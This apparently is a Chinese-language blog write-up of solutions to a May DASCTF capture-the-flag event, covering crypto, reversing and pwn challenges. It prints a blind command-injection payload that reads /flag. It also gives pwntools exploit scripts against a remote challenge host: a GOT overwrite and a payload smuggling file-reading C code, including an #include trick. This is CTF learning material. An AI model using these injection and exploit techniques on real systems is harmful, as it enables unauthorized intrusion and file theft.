5月DASCTF

幫幫小紅吧

命令盲注是我沒有想到的

cat /flag |grep 'BJD{' || sleep(3);

密碼bbcrypto

題目

# -*- coding:utf-8 -*-
import A,SALT
from itertools import *

def encrypt(m, a, si):
    c=""
    for i in range(len(m)):
        c+=hex(((ord(m[i])) * a + ord(next(si))) % 128)[2:].zfill(2)
    return c
if __name__ == "__main__":
    m = 'flag{********************************}'
    a = A
    salt = SALT
    assert(len(salt)==3)
    assert(salt.isalpha())
    si = cycle(salt.lower())
    print("鏄庢枃鍐呭涓猴細")
    print(m)
    print("鍔犲瘑鍚庣殑瀵嗘枃涓猴細")
    c=encrypt(m, a, si)
    print(c)
    #鍔犲瘑鍚庣殑瀵嗘枃涓猴細
    #177401504b0125272c122743171e2c250a602e3a7c206e014a012703273a3c0160173a73753d

可以看到需要求明文需要知道2個未知數,並且它們與明文的關係是線性的直接上z3爆破即可
大概5秒鐘就出來了


from z3 import *
from itertools import *

flag=''
salt="ahh"
si=cycle(salt.lower())
c="\x17t\x01PK\x01%',\x12'C\x17\x1e,%\n`.:| n\x01J\x01'\x03':<\x01`\x17:su="
for i in range(len(c)):
	x=Int('x')
	sol=Solver()
	a=(x*-71+ord(next(si)))%128
	sol.add(x>0)
	sol.add(x<128)
	sol.add(a==ord(c[i]))
	print ord(c[i])
	sol.check()
	flag+=chr(int(str(sol.model())[-4:].replace(']','')))
	print flag

pwn

#!/usr/bin/python2
from pwn import *

#p=process('./Memory_Monster_I')
p=remote('183.129.189.60',10083)
elf=ELF('./Memory_Monster_I')
libc=elf.libc
bin_sh=0x402010
p.sendafter(':',p64(elf.got['__stack_chk_fail'])+'\x00'*0x60)
p.sendafter(':',p64(0x040124A))
p.interactive()

#!/usr/bin/python2
from pwn import *

p=remote('183.129.189.60',10078)
context(arch='amd64',os='linux')
shellcode='''
#include <stdio.h>
char en[]="0ipnf0dug0gmbh";

int main(){
int i;
char buf[40];
FILE *fp;
for(i=0;i<14;i++)
{
  en[i]=en[i]-1;
}
fp=fopen(en,"r");
printf("%s\\n",en);
if(fp==NULL)
printf("nonono");
fgets(buf,40,(FILE*)fp);
printf("%s\\n",buf);
fclose(fp);
 return 0;
}
'''
p.sendafter("@')",shellcode+'@')
p.interactive()

上一個萬能的這又是我沒想到的

#include "/home/ctf/fl\
ag"@

ViQinere

主要邏輯就很簡單
在這裏插入圖片描述
讀入flag文件然後判斷大寫小寫數字特殊字符,如果是大寫就會-0x41小寫就會-0x61(相當於在字母表的位置)然後異或0x7f與一個字符串再取其對應的位置就行了
(這裏我直接吧特殊符號和數字給關了反正不影響
exp:

yiq="TaQini"
key2="zyxwvutsrqponmlkjihgfedcba"
v5=0
z=[]
aim=[]
flag="fqd{gfjuj5ublrwjzjpverxkiazzlvo0xta!cwnllasy3b0ievey}"
for i in range(len(flag)):
	a=ord(yiq[v5&5])
	if a>96 and a<=122:
		a=a-97
	elif a<=64 or a>90:
		a=a
	else:
		a=a-0x41
	print hex(a)
	c=ord(flag[i])-97
	print c
	b=((a&0x7f)+c)%26  #c=(b-a&0x7f)
	print b
	aim+=key2[b]
	v5+=1
print aim

輸出的全是小寫自己在改改就行了)

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章